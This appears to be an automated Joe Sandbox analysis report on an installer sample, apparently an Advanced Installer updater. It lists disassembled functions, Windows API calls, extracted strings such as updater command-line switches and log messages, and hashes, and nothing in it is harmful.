String ID:
API String ID: 2770133467-0
Opcode ID: 53dbc86178cf32dd9fd6166b5e5c8f2947f4a4d38cedd58f056b78df1956606a
Instruction ID: 0f9fcc49af5be82f1f5dd2abd6e9f95f21099999a758d1e1234ddf92426534b0
Opcode Fuzzy Hash: 53dbc86178cf32dd9fd6166b5e5c8f2947f4a4d38cedd58f056b78df1956606a
Instruction Fuzzy Hash: 2E92357A90D3208FC748EFB9ECD65A93662FB82314346822DD54697D7BCF34D4868B81

Function 00078150 Relevance: 1.6, APIs: 1, Instructions: 313
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(3DA07D5F,0004E86C,-00000001550F2D66,?,?,?,?,-00000001E2B0F6BD,?,?,0014B258,000714D5,00000010), ref: 0007825F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dee6b7e250a8fdc705617ec9cab60f19863d6db07c617b4c818fa9fb28582336
Instruction ID: 6b6248a8780c11023c85f68028a4761e9e90c64f481c98b4a2e100f2aa5dc4b8
Opcode Fuzzy Hash: dee6b7e250a8fdc705617ec9cab60f19863d6db07c617b4c818fa9fb28582336
Instruction Fuzzy Hash: 1CA1477B8087204FD748EFB5ECD65AA3361FB82314382812DD90697D77CF3888868AC1

Function 000781F0 Relevance: 1.4, APIs: 1, Instructions: 100
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(3DA07D5F,0004E86C,-00000001550F2D66,?,?,?,?,-00000001E2B0F6BD,?,?,0014B258,000714D5,00000010), ref: 0007825F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d8504d5629eaa069afd5b3536b22930d5e16e4a752ade43585210e0a99c85fd4
Instruction ID: 1cc40e5c7fe2a4c5ffc7242033f6d1fdb438307ff20e4f486d88bf913e50c824
Opcode Fuzzy Hash: d8504d5629eaa069afd5b3536b22930d5e16e4a752ade43585210e0a99c85fd4
Instruction Fuzzy Hash: F931D87FC186244BC75CEFB4ECE65AA3261FB42354342812DD50397D76CF2494869AC2

Function 00078410 Relevance: .1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b2225e6803f93a225f9532ecd9d8b3c68bf5184d822291ab5a8f53674059128
Instruction ID: c494370b930941c7876f915fb85c4b6f851c28e99c978cb4508ac70b76f609b9
Opcode Fuzzy Hash: 7b2225e6803f93a225f9532ecd9d8b3c68bf5184d822291ab5a8f53674059128
Instruction Fuzzy Hash: 90419C778083214FD748EF79ECC659A3391FB823143824629C916D7976DF74C9868AC1

Non-executed Functions

Function 000D4640 Relevance: 83.6, Strings: 64, Instructions: 3599COMMON

Download Yara Rule

Strings

/clean, xrefs: 000D5838
-installready, xrefs: 000D5A39
-nogui, xrefs: 000D6C07, 000D6C17
/install, xrefs: 000D4904
General, xrefs: 000D4AB1, 000D4AC1, 000D4B8B, 000D4B9B, 000D4C5F, 000D4C6F, 000D4D33, 000D4D43, 000D4E25, 000D4E35, 000D4F57, 000D4F67, 000D5069, 000D5079, 000D5140, 000D5150, 000D5217, 000D5227, 000D530C, 000D531C, 000D543C, 000D544C, 000D556C, 000D557C, 000D569E, 000D56AE, 000D5DCD, 000D5DDD, 000D5EA4, 000D5EB4, 000D5F78, 000D5F88, 000D604C, 000D605C
retryattempts, xrefs: 000D61D5
-nofreqcheck, xrefs: 000D6601, 000D6611
ForceMSIBasicUI, xrefs: 000D565C, 000D566C
autoupdatepolicy, xrefs: 000D6253
-url, xrefs: 000D599F, 000D66D4, 000D66E4
-licensecheckurl, xrefs: 000D6834, 000D6844
-minuseractions, xrefs: 000D675E, 000D676E
-startappfirst, xrefs: 000D6F53, 000D6F63
restartappcmd, xrefs: 000D51D5, 000D51E5
silentcritical, xrefs: 000D49E2
-forcemsibasicui, xrefs: 000D6E82, 000D6E92
/configure, xrefs: 000D47C3
-registerproxystub, xrefs: 000D63EF
URL, xrefs: 000D5027, 000D5037
NoGUI, xrefs: 000D53FA, 000D540A
/runservice, xrefs: 000D5AFF
true, xrefs: 000D4E99, 000D4FCB, 000D5380, 000D54B0, 000D55E0, 000D5712
restartapp, xrefs: 000D50FE, 000D510E
-justdownload, xrefs: 000D6948, 000D6958
silentall, xrefs: 000D49A0
-licenseid, xrefs: 000D68BE, 000D68CE
/runserver, xrefs: 000D5CF5
ReducedGUI, xrefs: 000D552A, 000D553A
-critical, xrefs: 000D59F5
-startminimized, xrefs: 000D6A20, 000D6A30
*, xrefs: 000D6F70
silent, xrefs: 000D495B, 000D5891
/installservice, xrefs: 000D5BAD
StartMinimized, xrefs: 000D4F15, 000D4F25
/automation, xrefs: 000D631D
-showaitdlg, xrefs: 000D6DB1, 000D6DC1
-restartapp, xrefs: 000D6AF3, 000D6B03
-reducedgui, xrefs: 000D6CE0, 000D6CF0
/justcheck, xrefs: 000D58D5
RealUpdaterPath, xrefs: 000D4CF1, 000D4D01, 000D5F36, 000D5F46
-restartappcmd, xrefs: 000D6B7D, 000D6B8D
IPCObjNameBase, xrefs: 000D600A, 000D601A
ClientConfigPath, xrefs: 000D4A6F, 000D4A7F, 000D5D8B, 000D5D9B
downloadsfolder, xrefs: 000D62C5
-clsid, xrefs: 000D6387
/silentcritical, xrefs: 000D4783, 000D658B
/debugservice, xrefs: 000D5B53
loglevel, xrefs: 000D6213
/checknow, xrefs: 000D46C8
rememberpassword, xrefs: 000D6171
proxy, xrefs: 000D628F
startappfirst, xrefs: 000D52CA, 000D52DA
-dumpdetected, xrefs: 000D5949
UninstallFilePath, xrefs: 000D4C1D, 000D4C2D, 000D5E62, 000D5E72
/configservice, xrefs: 000D5C01
-licensendate, xrefs: 000D5A7B
-name, xrefs: 000D5C49
/silent, xrefs: 000D4704, 000D64FD
/set, xrefs: 000D60F1
ServerConfigPath, xrefs: 000D4B49, 000D4B59
/uninstallservice, xrefs: 000D5CA1
/silentall, xrefs: 000D4743, 000D6542
-Embedding, xrefs: 000D6431
JustDownloadUpdates, xrefs: 000D4DE3, 000D4DF3

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: PrivateProfileString_wcschr$AllocFindHeapProcessResourceVirtual
String ID: *$-Embedding$-clsid$-critical$-dumpdetected$-forcemsibasicui$-installready$-justdownload$-licensecheckurl$-licenseid$-licensendate$-minuseractions$-name$-nofreqcheck$-nogui$-reducedgui$-registerproxystub$-restartapp$-restartappcmd$-showaitdlg$-startappfirst$-startminimized$-url$/automation$/checknow$/clean$/configservice$/configure$/debugservice$/install$/installservice$/justcheck$/runserver$/runservice$/set$/silent$/silentall$/silentcritical$/uninstallservice$ClientConfigPath$ForceMSIBasicUI$General$IPCObjNameBase$JustDownloadUpdates$NoGUI$RealUpdaterPath$ReducedGUI$ServerConfigPath$StartMinimized$URL$UninstallFilePath$autoupdatepolicy$downloadsfolder$loglevel$proxy$rememberpassword$restartapp$restartappcmd$retryattempts$silent$silentall$silentcritical$startappfirst$true
API String ID: 3214109131-4156010960
Opcode ID: cc414148d38593ca2477683d235ccb01eba640b02b9983a6c54331193b448d3e
Instruction ID: 14804fecd164353728508e1467652c2c4d92593748f9218f626e72dc03bbe159
Opcode Fuzzy Hash: cc414148d38593ca2477683d235ccb01eba640b02b9983a6c54331193b448d3e
Instruction Fuzzy Hash: A9533532A01706CBEB64CB68C955BEEF7F0AF11714F58816AD806AB392EB31DD05C761

Function 0009B8D0 Relevance: 62.1, APIs: 28, Strings: 7, Instructions: 808fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,0000000C,?,00000080,00000000), ref: 0009BB7C
GetLastError.KERNEL32 ref: 0009BCAB
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0009BB95

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

CloseHandle.KERNEL32(00000000), ref: 0009C2A6

Strings

CreateSubFolders() failed, xrefs: 0009B9D2
Creation of file to download on disk failed, xrefs: 0009BC0F
%, xrefs: 0009C1B4
S-1-1-0, xrefs: 0009BB1C
AsyncDownloadThread read 0 bytes., xrefs: 0009C032
S-1-5-18, xrefs: 0009BB30
Failed to saved in file the bytes read, xrefs: 0009C160

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalCurrentFileProcessSection$CloseCreateEnterErrorHandleHeapInitializeLastPointerThread
String ID: %$AsyncDownloadThread read 0 bytes.$CreateSubFolders() failed$Creation of file to download on disk failed$Failed to saved in file the bytes read$S-1-1-0$S-1-5-18
API String ID: 3757555869-250281917
Opcode ID: fe5212e2bcc907a66fb63ad10fb565972b2af1c7e8861b6c5b420e7d1a748659
Instruction ID: 26e5da1189d7ea8da8b702cecd4244ab3dbd8586f4a4df23bdc4e349be14cec8
Opcode Fuzzy Hash: fe5212e2bcc907a66fb63ad10fb565972b2af1c7e8861b6c5b420e7d1a748659
Instruction Fuzzy Hash: C762C170A00209DFEF54DFA4D998BADBBE4EF09310F148168F9059B2A2DB74DD44DBA1

Function 000B5660 Relevance: 48.6, APIs: 32, Instructions: 628
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadCursorW.USER32(00000000,-00007F84), ref: 000B56A8
GetSystemMetrics.USER32(-00000020), ref: 000B56CD
GetWindowLongW.USER32(?,000000EC), ref: 000B56EA
GetSystemMetrics.USER32(-0000002D), ref: 000B5708
GetSystemMetrics.USER32(-0000002D), ref: 000B572D
SystemParametersInfoW.USER32(00000026,00000000,?,00000000), ref: 000B5748
GetMessagePos.USER32 ref: 000B57C8
ScreenToClient.USER32(?,?), ref: 000B57E4
GetCapture.USER32 ref: 000B584E
UpdateWindow.USER32(?), ref: 000B58A0

Part of subcall function 000B67A0: GetWindowRect.USER32(?,?), ref: 000B680D
Part of subcall function 000B67A0: MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000B681D
Part of subcall function 000B67A0: OffsetRect.USER32(?,?,?), ref: 000B6833
Part of subcall function 000B67A0: GetWindowDC.USER32(00000000), ref: 000B6869
Part of subcall function 000B67A0: SelectObject.GDI32(00000000), ref: 000B687B
Part of subcall function 000B67A0: PatBlt.GDI32(?,?,?,?,?,005A0049), ref: 000B68A5
Part of subcall function 000B67A0: SelectObject.GDI32(?,?), ref: 000B68AF
Part of subcall function 000B67A0: ReleaseDC.USER32(?,?), ref: 000B68C4

Part of subcall function 000B6C40: MulDiv.KERNEL32(000000FF,?,7FFFFFFF), ref: 000B6C7D
Part of subcall function 000B6C40: MulDiv.KERNEL32(?,7FFFFFFF,?), ref: 000B6D4C

Part of subcall function 000B67A0: DeleteObject.GDI32 ref: 000B68DA

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$System$MetricsObject$RectSelect$CaptureClientCursorDeleteInfoLoadLongMessageOffsetParametersPointsReleaseScreenUpdate
String ID:
API String ID: 705477103-0
Opcode ID: 15edc036b38558955cc462046acf7abaeeb6021ba4271c7e48c3c089e144e8c5
Instruction ID: 5bf97244e83bd00d10567aa193b55f73fb48cd59c284d9ba5992318f961ad3c0
Opcode Fuzzy Hash: 15edc036b38558955cc462046acf7abaeeb6021ba4271c7e48c3c089e144e8c5
Instruction Fuzzy Hash: 8732AB316047058FCB64DF28D995BAEB7E1FF88311F004A5EF88A97291DB35E841CB82

Function 00097730 Relevance: 44.3, APIs: 16, Strings: 9, Instructions: 505
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,0CE81EE3,00000000), ref: 000977A7
GetLastError.KERNEL32 ref: 000977C4
OutputDebugStringW.KERNEL32(00000000), ref: 0009792E
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0009799F
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 000979CF
FlushFileBuffers.KERNEL32(00000000), ref: 000979D4
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,0012C014,00000002), ref: 00097A7A
FlushFileBuffers.KERNEL32(00000000), ref: 00097A83
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,0012C014,00000002,?,00000000,CPU: ), ref: 00097B4C
FlushFileBuffers.KERNEL32(00000000), ref: 00097B55
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,0012C014), ref: 00097BD4
FlushFileBuffers.KERNEL32(00000000), ref: 00097BDD
OutputDebugStringW.KERNEL32(00000000), ref: 00097839

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

Strings

OS Version: %u.%u.%u SP%u (%s) [%s], xrefs: 00097A4A
LOGGER->Reusing LOG file at:, xrefs: 000978DF, 000978EF
x64, xrefs: 00097A14, 00097A20
LOGGER->Creating LOG file at:, xrefs: 00097C49, 00097C59
CPU: , xrefs: 00097ACE, 00097ADE
LOGGER->failed to create LOG at:, xrefs: 000977FD, 0009780D
workstation, xrefs: 00097A21
x86, xrefs: 00097A0B
server, xrefs: 00097A26, 00097A2E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: File$BuffersFlushWrite$DebugOutputString$CreateErrorFindLastPointerResource
String ID: CPU: $LOGGER->Creating LOG file at:$LOGGER->Reusing LOG file at:$LOGGER->failed to create LOG at:$OS Version: %u.%u.%u SP%u (%s) [%s]$server$workstation$x64$x86
API String ID: 1898978657-1312762833
Opcode ID: 2cf3469ded2dd1426952248019485db4c4966c15278f82591633a86055cb51ba
Instruction ID: 0f1ae540e840aaedba5ff8aa5453623449488ed3063d2c394d39e062108b812a
Opcode Fuzzy Hash: 2cf3469ded2dd1426952248019485db4c4966c15278f82591633a86055cb51ba
Instruction Fuzzy Hash: 90129E71A01205DFDF10DF68CD49BAEBBB4FF44314F148268E919AB2A2EB749D44DB90

Function 00089280 Relevance: 43.9, APIs: 29, Instructions: 424
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000892AD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000892C5
IsWindow.USER32(?), ref: 000892FF
DestroyWindow.USER32(?), ref: 0008930C
DeleteObject.GDI32(?), ref: 00089329
DeleteObject.GDI32(?), ref: 00089340
IsWindow.USER32 ref: 00089398
SendMessageW.USER32(?,00000407,00000000,?), ref: 000893BD

Part of subcall function 00088E70: GetClassNameW.USER32(?,?,00000008), ref: 00088ED3
Part of subcall function 00088E70: lstrcmpiW.KERNEL32(?,static), ref: 00088EE6
Part of subcall function 00088E70: GetWindowLongW.USER32(?,000000F0), ref: 00088EFB
Part of subcall function 00088E70: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00088F0F
Part of subcall function 00088E70: GetWindowLongW.USER32(?,000000F0), ref: 00088F1A
Part of subcall function 00088E70: LoadCursorW.USER32(00000000,00007F89), ref: 00088F5C
Part of subcall function 00088E70: SystemParametersInfoW.USER32(0000001F,0000005C,?,00000000), ref: 00088F91

GetCapture.USER32 ref: 0008942B
ReleaseCapture.USER32 ref: 0008943A
PtInRect.USER32(?,?,?), ref: 00089454
InvalidateRect.USER32(?,00000000,00000001), ref: 00089493
PtInRect.USER32(?,?,?), ref: 000894F5
SetCursor.USER32(?,?,?), ref: 00089502
InvalidateRect.USER32(?,?,00000001,?,?), ref: 00089523
UpdateWindow.USER32(?), ref: 0008952C
TrackMouseEvent.USER32 ref: 00089556
InvalidateRect.USER32(?,?,00000001,?,?), ref: 00089594
UpdateWindow.USER32(?), ref: 0008959D
PtInRect.USER32(?,?,?), ref: 00089605
SetFocus.USER32(?,?,?), ref: 00089616
SetCapture.USER32(?,?,?), ref: 0008961F
GetCursorPos.USER32(00000000), ref: 0008969C
ScreenToClient.USER32(?,00000000), ref: 000896AA
PtInRect.USER32(?,?,?), ref: 000896CC
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 000896F7
UpdateWindow.USER32(?), ref: 00089700
DeleteObject.GDI32(?), ref: 00089740
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 0008979A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Rect$InvalidateLong$CaptureCursorDeleteObjectUpdate$ClassClientDestroyEventFocusInfoLoadMessageMouseNameParametersReleaseScreenSendSystemTracklstrcmpi
String ID:
API String ID: 3525716044-0
Opcode ID: 6b5eb7bac7f33bd62e34a2361891546714877285f854dbf00506cd4dc76a66bb
Instruction ID: 0c7567279f032ee4e3bee18340b7eb5a3f6496e0f692528c4735c30282009178
Opcode Fuzzy Hash: 6b5eb7bac7f33bd62e34a2361891546714877285f854dbf00506cd4dc76a66bb
Instruction Fuzzy Hash: F4E1E3316047048FDB71BF19D984BBAB7E4FB45321F04491AF4C6D6AA0C771E895CB92

Function 000CA160 Relevance: 26.9, APIs: 9, Strings: 6, Instructions: 690synchronizationCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 000CA32F
GetLastError.KERNEL32 ref: 000CA33D

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 000CA357
GetModuleFileNameW.KERNEL32(00000000,?,00000104,0CE81EE3,-00000001,-00000001,00000000), ref: 000CA43E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0012A7EC,0011572D,000000FF), ref: 000CA448

Part of subcall function 0008EE60: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,-00000010), ref: 0008EEF2
Part of subcall function 0008EE60: PathAppendW.SHLWAPI(00000000,WindowsPowerShell\v1.0\powershell.exe), ref: 0008EF05
Part of subcall function 0008EE60: PathFileExistsW.SHLWAPI(00000000), ref: 0008EF13

GetExitCodeProcess.KERNEL32(00000000,?), ref: 000CA363

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Strings

Add-AppxPackage -Path "%s" exit $error.count, xrefs: 000CA1DE
install, xrefs: 000CA6E5, 000CA6F5
Caphyon, xrefs: 000CAAD5, 000CAB4B
open, xrefs: 000CA2EA
Removed cached update installer., xrefs: 000CA998
.appx, xrefs: 000CA19F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Path$ErrorFileLastProcess$AppendCodeExecuteExistsExitFindFolderHeapModuleNameObjectResourceShellSingleWait
String ID: .appx$Add-AppxPackage -Path "%s" exit $error.count$Caphyon$Removed cached update installer.$install$open
API String ID: 691153998-2752863519
Opcode ID: 92ec5a3d562e24ed7b2514139e3c6729637e775dd4a11c2589782b81831c143c
Instruction ID: f8b44297f78ef58599e72a31410371446dd5742bb342996535e29726d9e96446
Opcode Fuzzy Hash: 92ec5a3d562e24ed7b2514139e3c6729637e775dd4a11c2589782b81831c143c
Instruction Fuzzy Hash: 4942C070A00649DFDB14DFA8C984BEEB7F4FF45318F14826DE8159B292EB349944CB92

Function 000B8920 Relevance: 19.6, APIs: 13, Instructions: 134windowCOMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00070000,75C05420,0000000A,0CE81EE3,?,00000000,75C05420), ref: 000B8959
LoadResource.KERNEL32(00070000,00000000,?,00000000,75C05420), ref: 000B896B
LockResource.KERNEL32(00000000,?,00000000,75C05420), ref: 000B897A
SizeofResource.KERNEL32(00070000,00000000,?,00000000,75C05420), ref: 000B898C
GetDC.USER32(00000000), ref: 000B899D
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000B89B2
GetDC.USER32(00000000), ref: 000B89D9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000B89E8
LookupIconIdFromDirectoryEx.USER32(00000000,00000001,00000018,00000018,00000000), ref: 000B8A28
CreateIconFromResourceEx.USER32(00000000,75C05420,00000001,00030000,00000018,00000018,00000000), ref: 000B8A43
GetDlgItem.USER32(?,?), ref: 000B8A58
SendMessageW.USER32(00000000,000000F7,00000001,00000000), ref: 000B8A69
SetWindowTextW.USER32(00000000,75C05420), ref: 000B8A85

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Resource$CapsDeviceFromIcon$CreateDirectoryFindItemLoadLockLookupMessageSendSizeofTextWindow
String ID:
API String ID: 3771193161-0
Opcode ID: d7d2eb5dc77e95071f1eebcd119eb65ae82d33cf45f9b047638c7f279b337f48
Instruction ID: 785bc7a1172624d809293a411a88d27a0542027e1c128b487caf4e690dab751e
Opcode Fuzzy Hash: d7d2eb5dc77e95071f1eebcd119eb65ae82d33cf45f9b047638c7f279b337f48
Instruction Fuzzy Hash: E2419031640605ABEB218F65DD08BDABBBCFF45721F10C226F915E76E0DB749940CB91

Function 000980F0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 292libraryloaderCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderLocation.SHELL32(00000000,00000023,?,0CE81EE3,?), ref: 00098138
LoadLibraryW.KERNEL32(Shell32.dll), ref: 00098147
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0009815B
SHGetPathFromIDListW.SHELL32(?,00000000), ref: 000981DA
SHGetMalloc.SHELL32(?), ref: 00098217
PathFileExistsW.SHLWAPI(?,ADVINST_LOGS,0000000C,00000000), ref: 0009826A
CreateDirectoryW.KERNEL32(?,?,Everyone,10000000,00000000), ref: 000982F5

Strings

Everyone, xrefs: 000982B1
Shell32.dll, xrefs: 00098142
ADVINST_LOGS, xrefs: 0009825D
SHGetSpecialFolderPathW, xrefs: 00098155

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

